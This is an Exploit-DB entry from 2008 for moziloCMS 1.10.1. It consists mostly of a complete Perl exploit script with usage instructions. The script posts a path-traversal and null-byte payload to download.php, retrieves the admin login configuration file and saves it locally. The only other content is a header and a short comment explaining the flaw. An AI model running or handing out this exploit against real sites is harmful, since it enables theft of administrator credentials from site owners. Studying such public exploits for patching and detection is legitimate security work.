moziloCMS 1.10.1 - 'download.php' Arbitrary Download File

EDB-ID:

6194

Author:

Ams

Type:

webapps

Platform:

PHP

Published:

2008-08-02

#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	\n\t\t moziloCMS 1.10.1 exploit (by Ams)
	\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
	die "\n\tUsage:\texpl.pl [host]\n\n
	\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
	exploit($expl_url);
} else {
	exploit('http://'.$expl_url);
}

sub exploit {
	
	#	Defining vars.
	my $site = pop @_;
	my ($a, $b, $c, @d) = split /\//,$site;
	my $path = join('/',@d);
	my $host = $c;
	if($path) {$path = '/'.$path;}
	my ($length, $packet, $downloaded, $injection);
	
	#	Revealing /data/sess.php.
	print "\n\t[~] Sending request to 'downloads.php'...\n";
	$injection = "file=hola&cat=../admin/conf/logindata.conf%00";
	$length = length($injection);
	$packet = "POST $path/download.php HTTP/1.1\r\n";
	$packet .= "Host: $host\r\n";
	$packet .= "Connection: Close\r\n";
	$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$packet .= "Content-Length: $length\r\n\r\n";
	$packet .= "$injection";
	$downloaded = send_surprise($host, $packet, 1);
	
	if($downloaded =~ /hackin/) {
		print "\n\t[-] Exploiting failed...\n";
	} elsif ($downloaded =~ /200 OK/) {
		#	Parsing and saving received data.
		$downloaded =~ /\r\n\r\n/ ;
		$downloaded = $';
		
		open(DOWNL, ">hola.txt");
		print DOWNL $downloaded;
		close(DOWNL);
		print "\n\t[+] Looks like ok! Check hola.txt\n";
	} else {
		print "\n\t[-] Exploiting failed...\n";
	}
}

sub send_surprise() {
		
	my $dat = 1;
	my ($host, $packet, $ret) = @_;
	my $socket=IO::Socket::INET->new(
		Proto=>"tcp",
		PeerAddr=>$host,
		PeerPort=>"80"
	);
	if( ! $socket) {
		return 0;
	} else {
		
		print $socket $packet;
		if($ret) {
			my $rcv;
			while($rcv = <$socket>) {
			$dat .= $rcv;
			}
		}
		close ($socket);
		return $dat;
	}
}

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